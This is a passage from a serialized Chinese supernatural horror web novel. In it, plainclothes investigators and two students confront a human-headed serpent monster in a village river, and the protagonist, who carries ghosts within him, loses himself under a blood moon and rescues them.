黄华强连忙点头:“能能能!我朋友就在外面。时间是昨天晚上, 地点龙湖村, 离这儿大概几十公里远叔叔,您赶紧派人跟我去一趟吧!”
警察叹了口气, 站起身:“行吧, 我先汇报一下, 看看领导怎么安排。你俩在这儿等着, 别乱跑。”
过了一会儿,警察神色怪异的回来告诉黄华强:“领导同意了,会派一组人跟你去村子调查。不过我话说在前头,如果最后发现你报假警,那你可得承担法律责任。”
黄华强忙不迭保证:“绝对不会,叔叔!您就放心吧,我说的都是真话,没有半点虚言!”
很快,六名警察跟着黄华强和宁鹏凯出发前往龙湖村。
一路上,黄华强坐立不安,心里既期待警方能揭开真相,水里那长得跟鬼似的玩意儿到底是什么东西。又害怕再次直面那可怕的怪物,以及村里人到底是什么情况,总不能是真的各个睡眠质量都好极了。
或者说,其中存在什么隐情
小说里不都这么写,尤其是宗族观念深厚的村子。
到达村子的时候距离晚上还早,看上去倒是一切正常:村民们各自忙碌着,偶尔有几个好奇的抬头看看,却也没太在意。一是出警的六名警察并未身着制服,穿的常服;二是有宁鹏凯领着,村民猜测估计宁家小子又是把哪个朋友同学带到家里来。
——黄华强和宁鹏凯好奇过跟他们来现场“破案”的警官为什么没穿警服,前者还忍不住开口问了:“警察同志,你们咋不穿警服啊?”
人解释道:“为了以防惊动村民,我们不想引起不必要的恐慌。”
黄华强听了,觉得有道理,现代人看到警察哪有不好奇的,这一好奇不就容易引发关注。可没过一会儿,他又隐隐感到哪里不太对劲,想了想,用胳膊肘轻轻碰了碰身旁的宁鹏凯,两人对上视线,目光交汇的瞬间,彼此心里的想法已然心照不宣。
接着,他们若无其事的移开视线。
好兄弟之间的默契无需多言。
只不过,他俩自以为隐秘的小动作其实并没能逃过警察们的眼睛。
***
【《水鬼》第二章
蔡凯和阿强在无边的惊惧中,终于盼来了黎明的曙光。
太阳的光明与热量给两人带来了一丝慰藉,然而,或许是昨夜惊悚的经历,又或是还不敢相信自己安全了,两人一时间谁也没有说话,知识静静坐在村路口大眼瞪小眼。
这时,村子渐渐有了动静。
一户人家的房门“吱呀”一声被推开,走出一位中年男子。此人是蔡凯爷爷的弟弟的二儿子,蔡凯平日亲切的称呼其为二叔叔。
放在平时,蔡凯见到二叔叔,肯定会热情的打上一声招呼,他们叔侄俩关系还不错,二叔叔为人和善,对蔡凯也十分疼爱。
可此刻,蔡凯满心都是恐惧与不安,只觉得眼前的二叔叔也仿佛变得陌生可怕起来,恨不能离得远远的,哪还有心情打招呼。
可他不主动开口,二叔叔瞧见他,脸上挂着和蔼的笑容,说道:“小凯,你和你同学这么早就醒了啊。”
蔡凯心里一阵发慌,含糊的应了一声。
二叔叔似乎并未察觉到蔡凯的异样,自顾自的感慨了一句:“还是你们年轻人精神头好啊。”说完,便扛起锄头,准备去田间劳作。
只是他刚走出去几步,像是突然想起了什么重要的事情,猛地停下脚步,扭过头再次看向蔡凯和阿强。
“你俩应该没去河边吧?”
刹那,昨晚一幕幕恐怖的回忆涌上两人脑海,让本就因为惊吓过度和一夜未眠而面色难看的两人,此刻脸色更是如纸一般苍白,嘴唇也不自觉地微微颤抖起来。
蔡凯的喉咙像是被什么哽住了,半天才挤出一个字:“没”
阿强也附和的笑了下,只是那笑容多少有些勉强。
二叔叔盯着他们看了几秒,那目光让蔡凯和阿强如芒在背,随后二叔叔点点头,转身走了。
看着二叔叔远去的背影,两人紧绷的神经不仅没有丝毫放松,反倒是绷得更紧了。】
***
田间,一位中年男人正弯腰劳作着。这会儿,他直起身来舒展酸痛的腰背,不经意抬眼看到自家侄子宁鹏凯领着七八个人走过,于是,扬声喊道:“小凯,这些都是你的同学?”
因为昨天宁鹏凯就带了同学(黄华强)回村,所以中年男人才会先入为主的这么问。
宁鹏凯刚要张嘴回答,身旁的一位警察迅速压低声音说道:“应下来,就说我们是你的同学。”
宁鹏凯尽管心里疑惑,不明白警察为什么要这样吩咐,但眼下这情形,显然不是追问的时候,依照警察的指示回应道:“对!”
中年男人:“这么多人啊,晚上都上我家吃饭吧。”
宁鹏凯明白叔叔的意思。他父母都去外地工作了,家里就剩下年迈的奶奶,而爷爷早些年便去世了。这么一大帮人要是都挤到家里吃饭,不得把奶奶累坏。
至于为什么不是他做饭,他用不来村里烧柴火的炉灶,在旁边帮忙的话,用奶奶的话来讲:“你别给我帮倒忙咯!”
宁鹏凯有些不知所措,下意识的将求助的目光投向身旁的警察。
警察:“答应他。”
宁鹏凯就像个传话筒,得到答案后立即回道:“好的!”
中年男人:“行,那你们去玩儿吧。”
宁鹏凯应了一声,正准备带着众人继续朝河边走去。这时,中年男人像是突然想起了什么重要的事情,喊道:“那啥,小凯,等下!”
宁鹏凯停下脚步,回头望去。
中年男人伸手拿起挂在脖子上的毛巾,擦了擦脸上混着泥土和汗水的污渍,神情认真的叮嘱道:“你可别带着你的朋友们去河边啊!”
警察突然开口问道:“为啥啊叔?”
中年男人:“河边危险,不安全。”
警察用不在乎的语气说道:“我会游泳!”
中年男人:“淹死的都是会水的。听叔的,别上河边玩。”
***
【蔡凯和阿强一心想着尽快离开村子。然而,走到一半,阿强突然停下脚步,脸上露出懊恼又纠结的神情。因为他猛地想起自己价值好几万块的摄影设备还遗落在河边。
对于阿强来说,几万块钱可不是一笔小数目,那是他省吃俭用积攒下来的。
蔡凯见阿强不走了,催促道:“怎么了?”
阿强咬了咬牙,下定决心,无论如何都要回去把设备拿回来。
听闻阿强的想法,蔡凯瞪大眼睛,仿佛听到了什么不可思议的话,大声说道:“你疯了吧!要钱不要命?”
阿强双眼布满血丝,犹如困兽一般,恶狠狠的盯着蔡凯,嘶吼道:“你必须陪我去拿!你要是不陪我去,之前答应给你的钱,一分都别想拿到!”
蔡凯瞬间黑了脸,刚想说“我要命不要钱”,可当对上阿强那双狠戾的眼睛时,心里“咯噔”一下
来到河边后,阿强一眼就看到了自己昨天遗落在河岸的设备,他下意识松开手,迫不及待的想要过去拿回自己的宝贝。可刚迈出一步,他像是想起了什么可怕的事情,又退了回来,然后重新拽住蔡凯的胳膊,说道:“走,我们一起去。”
阿强弯腰捡着地上的设备。
蔡凯一边紧张的警惕着河里的动静,一边也不得不蹲下身,假装帮忙收拾。
慌忙之中,阿强不小心一脚把留着更换的高倍镜头踢到了水里。
蔡凯见状,连忙劝阻道:“你那镜头都泡水了,肯定坏了,别要了!”
阿强涨红了脸:“不行!我刚买的,两万块呢!必须拿回来!”
阿强不仅自己执意要去冒险捡镜头,还非得拉着蔡凯一起。蔡凯自然是一百个不愿意。
两人就这么在河边推搡起来,情绪越来越激动,谁也不肯让步。
就在他们争吵推搡得不可开交的时候,谁都没有发现,平静的河面上,一团乌黑的“头发”正悄无声息地浮动着。但很快,那团“头发”便下潜至水底,再也看不到。
——实际上,虽然被叫做河,但其深度和规模远超一般的河流,更符和湖泊的定义,只是村里人叫河叫习惯了。
两人正僵持不下,突然,原本还算平静的河水开始泛起层层涟漪,且这涟漪的范围越来越大,逐渐形成一个漩涡。
“什么东西!”蔡凯惊恐地看着河面,声音都变了调。
阿强自然也注意到了,动作瞬间僵住,刚刚还执着于捡镜头的疯狂劲儿,此刻完全被恐惧取代。
漩涡中心的水流越来越湍急,像是有什么巨大的力量在拉扯着河水。紧接着,一个巨大的身影缓缓浮出水面,起初,只能看到一团黑色,犹如大股凌乱纠缠的长发。
随着那身影逐渐上升,一半都露出来的时候,两人终于得以看清,这就是昨晚上看到的那个人首蛇身的怪物!
对上怪物阴森渗人的眼睛,蔡凯和阿强呆立当场,全身的血液仿佛都凝固了。】
***
河边。
黄华强和宁鹏凯注意到警察们动作统一的抬起手,摆弄起腕间的手表。这手表和普通手表并无太大差异,只是液晶屏相较于常见的款式要更大一些。
警察们操作着手表,手指在屏幕上快速滑动、点击。摆弄了几下之后,其中一位警察抬起头,目光平和地看向黄华强和宁鹏凯,说道:“你们先回去吧。”
两人听到这话,刚想说些什么,就在这时,昨天摆放在河边的渔具突然有了异样——鱼竿猛地向下一沉,仿佛勾住了什么极其沉重的东西,瞬间弯曲,几乎快要折成 90 度。
黄华强见状,本能的差点就冲上去准备收竿。
好在警察们反应极快,几乎同一时刻,最近的两位警察一左一右将黄华强和宁鹏凯紧紧挡在身后。
“不好!队长,能量波动值在急剧上升!”鼻子上有一道疤的警察紧盯着手腕上的手表,神色紧张的大声喊道。
什么能量?
黄华强和宁鹏凯听得一头雾水,不过,很快他们就知道了。
只见原本还算平静的水面,突然如同烧开的水壶一般剧烈地翻滚起来,“咕嘟嘟”的冒着泡。然后,一个庞然大物破水而出,巨大的身躯带出大片水花,身上的水珠不断滑落,淅沥沥的坠回河里。
黄华强和宁鹏凯惊得目瞪口呆,张大嘴巴,半天都合不拢。
昨晚天色昏暗,他们没能看得真切,如今在阳光下,终于将这怪物的模样看了个清楚。
果然,他们没有看错!
黄华强想起接待自己的那个警察根本不相信自己的话,虽然对方并没有一同来到这里,但这不妨碍黄华吐槽:“看吧!我就说我没瞎说!”
***
傍晚,夕阳的余晖透过窗户,给整个屋子蒙上一层温暖而柔和的光晕。
平日里宴泠昭一个人在家时,几乎从不开的电视,这几天终于不再是一件摆设。
——王玲玲姿势端正地坐在沙发上,怀里抱着自己的脑袋,眼睛直勾勾的盯着电视屏幕,看得津津有味。
而在一旁的书桌前,李小虎正对着作业本愁眉苦脸,手中的笔在纸上无意识地划动着,眼睛时不时往电视的方向瞟,眼神里满是渴望。
终于,在何老给了他一下,让他好好写作业的时候,李小虎委屈的泪水在眼眶里打转,控诉道:“我也想看动画片!凭什么王玲玲就可以不学习!我要抗议!”
恰在这时,厨房里传来田燕婉的声音:“吃饭了。”
房门被敲响的时候宴泠昭正在做本章结尾,头也不抬的道:“怎么了?”
门外传来李奶奶慈祥的声音:“吃饭了,娃。”
“哦,来了。”
敲下最后一个字,点击发布,宴泠昭起身走出屋外。
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
么么[猫爪]
39 第 39 章
◎我是你,你是我◎
面前的文档一片空白, 正如他此刻迷茫的思绪。
宴泠昭已经在电脑前枯坐了半个钟头,左下角显示的统计字数仍旧为0。
倒不是不知道写什么, 而是他脑海里盘旋着两个截然相反的念头,这两个念头决定着整个故事结局的好坏。
因为迟迟做不出决定,以至于中午吃饭的时候,宴泠昭整个人都显得心不在焉。
就连李小虎都察觉到了他心情不佳,这顿饭吃得无比安静。
饭后,宴泠昭心事重重的起身朝房间走去。推开房门, 正要关上的时候,一转身,发现何老正静静地跟在自己身后,宴泠昭关门的动作一顿, 礼貌的问道:“何爷爷,您有什么事吗?”
何老脸上浮现出和蔼的笑容, 说道:“有时间聊一聊吗。”
宴泠昭怔了怔, 点了下头。
两人走进房间。
何老率先出声, 委婉的问道:“孩子,我看你今天状态不好,是不是遇到什么烦心事了?”
宴泠昭并不想说,因为他早已习惯了独自面对问题、独自解决困难。但拒绝的话语都了嘴边, 他忽地转而想了想, 也许自己确实应该向别人征询意见。
于是说出了心中的“症结”。
何老听完, 沉吟道:“你如此纠结好坏结局,是出于自身, 还是受到了外界因素的影响?”
宴泠昭陷入沉默。
何老拍了拍宴泠昭的肩膀, 语重心长的给出建议:“孩子, 要实在难以抉择, 为何不全要呢?现在人不都说小孩子才做选择,有能力的大人当然是全部都要了。”
宴泠昭:“”
留下宴泠昭思考人生,何老背着手转身离开房间。转过身的刹那,他脸上和蔼的笑容瞬间消失得无影无踪。
是啊,没能力的人才会被迫做选择——譬如他。
要不是宴泠昭,他早就到外面逍遥去了。所以他悔啊!干嘛要招惹宴泠昭。
至于强行逃跑
何老早就付出过实际行动了,逃不了一点。无论跑到哪里,时间一到(宴泠昭睡觉),准时被拉回到那个无边无际的黑暗空间。
下午1:37分。
文档统计字数终于不再是0,但也是这个时候,手机响了。宴泠昭看了眼备注,是朱德宏。
***
随着一阵引擎的轰鸣声,飞机逐渐加速,而后昂首冲向云霄,机身划过云层,留下一尾白色的拖线。
宴泠昭坐在靠窗的位置,透过舷窗,望着外面广袤无垠的蓝天。阳光洒在机翼上,折射出耀眼的光芒。思绪随之飘远。
在知道邻居们对他无害后,朱德宏问他想不想回家住。
宴泠昭自然是想了,于是给出肯定的答复。
朱德宏闻言点了下头,说那你就回家住吧。
值得一提的是这个国家追着喂到嘴边的饭碗跟正常上班没有区别,只是相较灵活,没事的时候是自由的,想干嘛干嘛,有事儿了就得立刻“听昭”行动。
目前是他回家的第一周,此次行动也是回家后的首个任务。
地点位于G市,从B市飞过去差不多一个小时。
下午3点55分,飞机落地。
当地的工作人员早早便候在了机场门口。接到宴泠昭后,工作人员发动车子,一路疾驰,朝事发地点奔去。
路上,工作人员详细的向宴泠昭讲述了此次事件的具体情况。说着说着,工作人员不自觉的透过车内后视镜打量起宴泠昭。
青年年纪应该不大,五官精致好看,周身散发着一种淡然的气质,感觉更像是搞艺术或者文艺方面的,一言概括就是看上去不像是厉害的。
这让工作人员心里不禁犯起了嘀咕,担忧宴泠昭究竟有没有足够的能力应对此次棘手的任务。毕竟这可不是开玩笑的,搞不好是真的会死。
或许青年在团队中扮演的是比较偏辅助的角色?
——侦察小组通常以六人为一组。
并不知道宴泠昭一人就是一个组的工作人员如是想到。
时间在车轮的飞转中流逝,两个半小时后,傍晚6点。
终于抵达了目的地。
工作人员停下车子,转头宴泠昭说道:“出事的地方就在前面,你直走就能到。”
宴泠昭微微颔首,礼貌的说了声:“谢谢。”随后便背上背包,推开车门,下了车。
工作人员环顾四周,一个人影都没瞧见,又见青年不停往前走,心中的疑惑愈发浓烈,终于忍不住开口喊道:“那个!你不等队友一起吗?”
宴泠昭一边挥手,一边说:“他们就在我身边。”
什么就在身边?这附近压根连个鬼影都没有。
工作人员的目光再次在周围仔仔细细的扫视了一圈,除了随风摇曳的几株野草,确实不见半个人影。
这时,一阵微风轻轻吹过,拂动了路边的树叶,发出沙沙的声响。这阵微风仿佛带着丝丝凉意,径直钻进了工作人员的衣领,工作人员不由自主地缩了缩脖子,莫名打了个寒颤
宴泠昭沿着小路前行,背包随着他的步伐有节奏地晃动。
大约走了一公里,一座村子出现在眼前。
宴泠昭注意到村子大路的地面是湿的,可附近的小路却是干的,说明今天明明没有下雨——即使是局部下雨,也不可能范围间隙小成这样。更何况
抬眸望去,湿痕一直延续到了庄稼地里,里面的作物东倒西歪,就像是遭受了某种大型爬行动物的蛮横践踏。
脑海中不禁浮现出之前看过的资料,里面对此次任务目标诡异的描述:人首蛇身。
结合眼前的景象,宴泠昭的心里已经有了初步判断。
***
走进村子,听不到人类活动的声音,也看不到一个村民的身影,只有偶尔传来的几声不知名的虫鸣,更增添了几分阴森的氛围。
宴泠昭走到一户人家门前,轻轻推了推,发现房门紧闭;又敲了敲,意料之中没有任何回应。
遂决定暴力破门而入。
“砰!”的一声巨响,门被踹开。
屋内光线昏暗,空气中隐隐弥漫着一股潮湿的腥味。
宴泠昭握紧手中的黑棍,走进屋内,借着微弱的光线,看到地上躺着几个人。他走近其中一人,蹲下身子准备检查。就在他的手即将触碰到那人身体的瞬间,“噗”的一声,一只小小的诡异生物从那人的体内破体而出,如闪电般朝着宴泠昭的脸飞速扑来。
宴泠昭瞳孔骤缩,身体本能地向后仰倒,同时迅速抬起手臂用黑棍抵挡。
那小诡异正好撞上黑棍末端的“尖刺”上,发出尖锐的叫声,如同指甲划过玻璃般刺耳,摔落在地上。
宴泠昭稳住身形,定睛一看,这小诡异浑身长满了密密麻麻的细小触手,看起来质感毛茸茸的,跟个黑毛球似的。两颗绿豆般大小的红眼睛怨恨的死死盯着自己。
宴泠昭用黑棍戳了戳小诡异,小诡异也不逃跑,好像是被“尖刺”刺到后受伤严重,蔫蔫地蜷缩着身体,没有半点要反抗的意思,任由宴泠昭随意戳弄。
随着手中的黑棍不停地戳来戳去,把那小诡异戳得在地上左右来回滚动。一番折腾后,宴泠昭从各个角度将小诡异360°看了个全,愈发觉得熟悉。
正当宴泠昭努力回忆之时,脑海里突然响起李小虎咋咋呼呼的声音:【“咦?这玩意儿怎么长得跟太阳——嗷!” 】然后是一声痛呼。
经李小虎这么一说,宴泠昭恍然大悟,拿出手机将小诡异拍下来发给朱德宏。拍完后,宴泠昭问自己体内的诡异们:
“所以,我犯病时看到的变异太阳都是真的其实我根本没病?”
没有鬼回答宴泠昭。
而宴泠昭越是思考,精神越是恍惚,某一时刻,他的视野突然无限拔高,整座城市缩成棋盘,蔚蓝的地球在脚下旋转就像是有一股无形的强大力量,将他从地球抽离了出来。
于是下一秒,他便已置身于浩瀚无垠的太空中
无声的死寂。
深邃到绝望的黑暗。
忽然,宴泠昭的目光定格,在那里——无数扭曲蜿蜒的触手相互纠缠、簇拥,组成一轮散发着阴冷气息的恐怖“太阳”。
不,那不是太阳那是
疯狂的低语灌入耳道,每个音节都在撕扯着他的理智。宴泠昭的视网膜上烙满了扭曲的影像,可他却并不害怕,反倒是感到了一股吸引,或者说,召唤。
宴泠昭不由自主的朝着那轮黑色的“太阳”飘去。就在这时,一股突如其来的拉扯力从他身后传来。
在这股拉扯力出现的霎时,宴泠昭的神经紧绷起来,意识也恢复了清醒。然而刚回过神,宴泠昭便感觉到背后有个什么东西轻轻地贴了上来,与此同时,余光中出现一抹如霜般清冷的白色。
出于本能,宴泠昭下意识的回头看去。他的视线瞬间被一张美得惊心动魄、不分性别的脸完全占据。这张脸近在咫尺,几乎快要贴上他的面庞。
宴泠昭愣住了,可令他失神的原因并非是这张脸好看得失真。而是,在凝视这张堪称完美的脸庞短短几秒钟后,他发现,脸在动——脸皮下蠕动着无数密密麻麻的虫子。
这些虫子相互拥挤、攀爬,不断变换着形状,看得人心底发寒、恶心想吐。
宴泠昭本应对此是抗拒的,可神奇的是,他不仅丝毫没有抵触心理,相反,一种莫名的亲近感油然而生,仿佛眼前这张由蠕虫构成的恐怖脸庞,是他寻觅已久的归宿。
他的手不受控制地伸出,直到指尖触碰到脸庞的一瞬,一股细腻却又透着彻骨寒意的触感,沿着神经末梢迅速蔓延至全身,他才如梦初醒,惊觉自己竟在抚摸这张诡异的脸庞。
【“你是谁?我是谁?”】
就在此时,那个熟悉的声音毫无征兆的在脑海中响起。宴泠昭只觉脑袋“嗡”的一声,又是一阵精神恍惚。就在他陷入混沌之际,脸的主人抬起双臂,将他拥入怀中。
刹那间,那一直执拗的追问“你是谁我是谁”的熟悉声音戛然而止。
然而,并未持续太久。很快,那个熟悉的声音再度幽幽响起:【“我是你,你是我。”】
宴泠昭猛地一僵,因为他感觉到自己的嘴巴竟在随着熟悉的声音开合。
可——那熟悉的声音,不本来就是他自己的吗。
【“反复听见自己询问自己是谁,是你对自我认同的困惑不排除你有人格解离的倾向,这是个很严重的情况,你要多加注意”】
董医生的声音在耳边回响。
世界仿佛变成了一个巨大的漩涡,宴泠昭只觉天旋地转,头晕目眩,意识也逐渐变得模糊不清
仿佛经历了很久,又好像只是一瞬之间,等宴泠昭终于找回自己的意识时,他发现自己不再置身于村民的房子里,而是不知什么时候来到了河边。
天色也彻底黑了。
河水潺潺流淌,在幽白的月光中闪烁着粼粼波光。
抬起头,目光有些茫然的向前望去。对面站着几个人,他们的神情紧张而警惕,眼睛一刻也不放松的盯着他,仿佛他是什么极其危险的存在。
宴泠昭第一反应是自己身后、他所在的方向潜藏危险,才引得对面几人这般如临大敌。于是他迅速环顾了一圈四周,然而,视野所及之处,除了静静流淌的河水、岸边随风摇曳的草木,并未发现任何危险。
收回视线,宴泠昭抬脚刚要走向对面那几个神色紧张的人,询问他们现在是什么情况,便被对面站在最前方的男人呵止道:“停下!”
【作者有话说】
感谢灌溉~[绿心]
感谢订阅~[红心]
啾咪![星星眼]
40 第 40 章
◎我是来救你们的◎
时间回到半小时前。
宴泠昭既像是在质问体内的诡异, 又像是在喃喃自语:“我是不是根本就没病?”
诡异们沉默,不知道该如何回答, 生怕稍有不慎就刺激到宴泠昭,导致某个不可名状的恐怖存在被唤醒。
然而向来口无遮拦的李小虎却直接脱口而出,他动作太快,其他诡异们都没反应过来,等出手捂嘴的时候已经来不及了,最后只能揍他一顿解气。
值得一提的是李奶奶下手最狠, 眼睛都打红了——兴奋的。
疼痛中,李小虎后知后觉意识到自己说错话了,回忆起不久前的血月之夜,那种痛苦, 如同灵魂被撕裂,让他恨不得立刻死掉以求解脱。
想到这, 李小虎嗫嚅着嘴唇, 瑟瑟发抖的问:“我们该怎么”话还没说完, 李小虎突然紧紧闭上了嘴。
因为宴泠昭已经开始“发作”了。
天瞬间就黑了,云层笼罩了整个天穹,将月亮完全遮蔽。不过透过云层的缝隙、天空泛着不详的红光足以佐证最坏的情况发生了。
同一时刻,诡异们感受到了一股来自灵魂深处的躁动。
“飒——”树叶沙沙作响。
不知从何处掠来一阵疾风, 犹如无形之手拨开了厚重的云层。一轮圆满如盘的血月赤裸裸地悬挂在高空, 向大地洒下诡异不详的红光。
血月的中心, 有一点微小的黑色。这一点黑色正以肉眼可见的速度扩大,宛如一个逐渐向地球逼近的黑洞。
对于普通人类而言, 那或许不过是月亮上的一个阴影。但在诡异们眼中, 那黑点分明是一个“人”。
就在诡异们目睹那个身影的刹那, 它们的眼球如同被看不见的力量击中, 瞬间爆裂。残存的理智如同失去堤坝的洪水,彻底溃散。
唯一的万幸是它们被囚禁在宴泠昭体内,无法到外界作乱。但也正因如此,它们才免于因直视那位恐怖存在而当场崩溃成一滩蠕动的虫体,仅仅是失去视力而已。
之前被宴泠昭用黑棍刺伤的小诡异也无法抵抗血月的影响。它变得躁动不安,体内涌动着难以抑制的暴虐冲动。而最近的猎物只有宴泠昭一个,它自然就把目标放在了宴泠昭身上。
可宴泠昭身上突然散发出的恐怖气息又令它本能的畏缩。最终,求生的本能战胜了攻击的欲望,就在它准备逃离的瞬间,一股无形而强大的力量突然将它定在原地,动弹不得。
接着,小诡异的身体开始以惊人的速度膨胀、变大。
“咔嚓”。
房屋的屋顶被它膨胀的身躯撑破,木屑和瓦砾四处飞溅。无数黑色触手从它变形的躯体上延伸而出,贪婪的朝宴泠昭伸去。
就在这千钧一发之际,天空中飘落下点点白色物质。黑毛球诡异的触手在距离宴泠昭不足半厘米处戛然而止,它那双血红的眼睛缓缓抬起,注视着头顶的天空
空中飘落下密密麻麻的白点,乍看之下宛如一场不合时宜的雪。
但在黑毛球猩红的双眼中,倒映的却不是白色细雪,而是——无数指甲盖大小的白色虫子。
这些白虫刚一接触到黑毛球诡异,便立刻开始啃噬黑毛球诡异的身体;它们也只是看起来微小,重量却出人意料的沉重,压得黑毛球诡异几乎无法动弹,只能发出痛苦的嘶鸣声。
与此同时,整个龙湖村内,村民们的身体一个接一个地裂开,每个体内都爆出同款黑毛球诡异。它们从“出生落地”的瞬间就开始疯狂生长,转眼便长成了庞然大物。
并且它们似乎有共同的意识网,才诞生就知道天空中落下的白色虫子拥有致命威胁,选择牺牲部分触手,形成一道肉盾挡在头顶上方。当这层“盾牌”被啃噬得不堪重负时,便果断将其切断,用迅速新生长出来的触手继续防御。
短短几分钟,几十只巨大的黑毛球诡异便将宴泠昭围住,整个龙湖村也被它们占领。
村子的轮廓在血色月光的辐射下变得扭曲,宛如一幅由疯子绘制的噩梦图景
由于目标规模庞大,动静惊人,后勤监察组很快就发现了异常,立刻尝试联络宴泠昭,无奈宴泠昭那边一直是无法接听的状态。
负责监察此次行动的G市监察组组长额头渗出冷汗,“不是说血月三个月一次吗,这才半个月不到。”
龙湖村这群暴动的诡异显而易见是受到了血月的影响。
组长深吸一口气,拨通了朱德宏的电话,说明情况后语气凝重的请示下一步行动:“如果实在控制不住局面,我们可能需要动用导弹。”
朱德宏握紧听筒,知道实情的他绝不可能同意这个方案。
月亮上的那位存在——从最初王玲玲的口述到后面天文观测台的惨剧,让他们得出了一个无比沉重的结论:对方不是如今的人类能面对的
这也印证了王玲玲的警告:诡异看到祂会发疯,人类看到祂会死亡。
而就是这样一位恐怖的存在似乎与宴泠昭有着某种联系。宴泠昭活着时都会引来对方的关注,更别说宴泠昭死了。
朱德宏深吸一口气,语气低沉坚定:“不能发射导弹,先观望。”
***
黑毛球诡异们朝宴泠昭发起了攻击。可就在它们即将触碰到宴泠昭的时候,宴泠昭脚下突然伸展出一条条白色光带,冲黑毛球诡异们的影子游去。
二者接触的刹那,黑毛球诡异们的行动骤然停住。不、不是停住,是变得无比缓慢、滞涩,看得出它们拼尽全力想要挣脱这股无形的桎梏向宴泠昭靠近,可却好似陷入了看不见的泥沼,每前进一毫米都要耗费惊人的力量。
这时,空气中响起令人毛骨悚然的咀嚼声。
黑毛球诡异们庞大的身躯上陆续出现了不规则的缺口,并非是白色小虫带来的细微侵蚀,而是某种更为强大的力量造成的伤害。每一下都能轻易掠走黑毛球诡异身躯的六分之一。
咀嚼声、撕裂声和黑毛球诡异痛苦的嘶鸣声交织在一起,听得人头皮发
血月的映照下,黑毛球诡异如同一块可口的饼干,被那看不见的存在一口口吞吃殆尽。
宴泠昭依旧站在原地,双眼空洞无神,眼底倒映着血月的猩红,但瞳孔深处却是一片死寂的黑暗。忽然,他转头看向某个方向,那里似乎有什么东西在吸引他。
河边。
青年站停在岸边,垂下眼睫,目光穿过水面,似在凝视着河底的某物。脚下的白色光带开始改变形态,如同活物般蜿蜒流动,缓慢的延伸入河水中,向深处探去。
水底。
正在沉睡的水怪诡异突然感到一阵剧痛惊醒,睁眼发出一声低沉的嘶吼,声音通过水流传递,在河面上激起一圈圈波纹。接着它扭头看向疼痛源头,只见自己身体的一侧已经缺失了一大块血肉。
而就在伤口旁边,一条白色的光带正优雅地漂浮着,如同一条饱食后的白蛇。
什么东西?
水怪诡异彼时既困惑又愤怒。
眼前的白色光带看上去如纱般轻薄脆弱,却能在它毫无察觉的情况下撕下它的一大块肉。更令它恼火的是,这光带见它醒了不仅不怕,还继续吃着它的肉,嘲讽值拉满了,根本是在挑衅它。
越想越气,水怪诡异猛地朝白色光带冲去,张开布满利齿的巨口。然而光带仿佛早已预料到这一切,以一种近乎舞蹈般的姿态轻盈闪避,移动的距离恰到好处,一毫米不多一毫米不少,姿态之优雅。
水怪诡异一个急刹停下,回头看去,光带身上的白色光芒一下强一下弱,就像是在笑。
这玩意儿在嘲笑它?!
水怪诡异的愤怒此刻达到了顶点,在河底疯狂翻腾意图通过搅动水流达到制约光带行动的目的。
河面上形成剧烈的漩涡和波浪。
岸边,被困的侦查组成员们立刻注意到了水面上的异常。六名训练有素的军人几乎是同时绷紧了身体,他们无需言语,仅凭一个眼神交流就已达成了共识。
但随行的两名大学生显然没有这种默契。
黄华强忍不住开口问道:“什么情况?那东西要上来了吗?”
一名侦查组成员迅速做出噤声的手势。
黄华强反应过来,连忙捂住自己的嘴。
水底下的怪物(诡异)比他们想象的危险,也不知道为什么没对他们动手,只是不允许他们离开。但只要它暂时不动手,他们就还有生存和等待救援的机会——在与上级联系后,得知救援将在今天抵达。
看着河面上愈发剧烈的波动,队长隆光启皱起眉头,低声道:“情况不对,如果一会你们俩赶紧跑。”
黄华强和宁鹏凯听懂了话下之意,眼睛一下就红了,感动地点了点头。
“那里好像有人。”默默往前走了几步的何锐意突然说道。
难道是救援来了?
众人立即快步走到何锐意身边,顺着何锐意的视线看去目光越过河面,落在对岸背对着他们的站立不动的人影上。
看其穿着,应该就是来救援的人。
——宴泠昭穿的是侦查组的制服。
“他脚底下怎么在发光?”黄华强疑惑的小声问道。
没有人能回答这个问题,因为没有人见过这种现象:如皎白月光凝结成的丝带,从对方脚底延伸而出,没入水中。
不祥的预感浮上众人心头。
也是在这时,水面突然剧烈翻腾,伴随一道震耳欲聋的嘶吼。
水怪诡异破水而出,水花四溅,它那庞大的身躯再次暴露在众人眼前,只是,这一回它身上布满了不规则的缺口,看起来颇为狼狈。
***
水怪诡异不得不承认自己无法对抗白色光带,于是努力转动脑子想办法。
透过水面的扭曲视野,它注意到光带源头好像来自一个人类。灵机一动,水怪诡异悟了,也许只要摧毁源头,这让它忌惮的光带就会消失。
它猛地调转方向,掀起一道巨大的水墙,以惊人的速度朝岸边的人类冲去。它的身躯在水中划出一道黑色轨迹,牙齿闪烁着寒光,猩红的眼睛锁定了目标。
水怪诡异心中涌起一阵狂喜——这个人类看起来毫无防备,丝毫没有要躲闪的意思。
但,就在它即将触及那人的瞬间,一股无形的力量如同一堵坚固的墙壁般阻挡了它的前进。水怪诡异悬停在半空,距离那个人仅有几厘米的距离,只要再往前一点点,它的獠牙就能轻易将那人嚼碎。
可现实是它无法再前进分毫。
几秒钟的静止后,水怪诡异的眼中突然浮现出一抹从未有过的情绪,那是纯粹而原始的恐惧。
就像是看到了什么恐怖的东西般,水怪诡异从喉间发出一声凄厉至极的尖叫,接着疯狂地向后退却,忘记了逃离水中的初衷,忘记了水下还潜伏着另一个致命的敌人。
就在它退回水中的刹那,白色光带如同猎食的蟒蛇缠绕而上,吞噬着它庞大的身躯。水面被染成混浊的暗红色,剧烈的波动持续了数十秒后渐渐平息,如同什么都没发生过。
然后,那个看起来“不对劲”的人缓缓转过身,面朝他们的方向。
尽管隔着一条河,众人依然能感受到对方——或者说,那个穿着人类外壳的东西——视线中的冰冷。不是审视,也不是观察,而是一种纯粹的注视。
众人不是傻子,早在发现不对劲的时候就想跑了,可他们惊骇的发现自己动不了,也说不出话,是以等到两个诡异都打完了,他们还在“看戏”,眼下也只能瞧着那似人的诡异脚下的光带向前延伸,如同一条发光的路径铺在河面上。
然后,踩着这光带,如履平地般越过河面,向他们走来。
但不知为何,对方在越过河面后突然停下了脚步。不过也就只有几秒钟的停顿,便再度抬起脚,继续朝他们走来。
隆光启:“停下!”
出乎所有人的意料,对方竟然真的停下了,隆光启本人也怔住了。因为他发现自己突然又能动能说话了。
紧张的沉默笼罩着河岸。
静默持续了几秒,或者十几秒?也可能几十秒。
隆光启试探性的开口问道:“你是谁?”
“你们是遇到危险了吗?我是来救你们的。”由于隆光启等人并未穿制服,宴泠昭将他们认成了普通人。
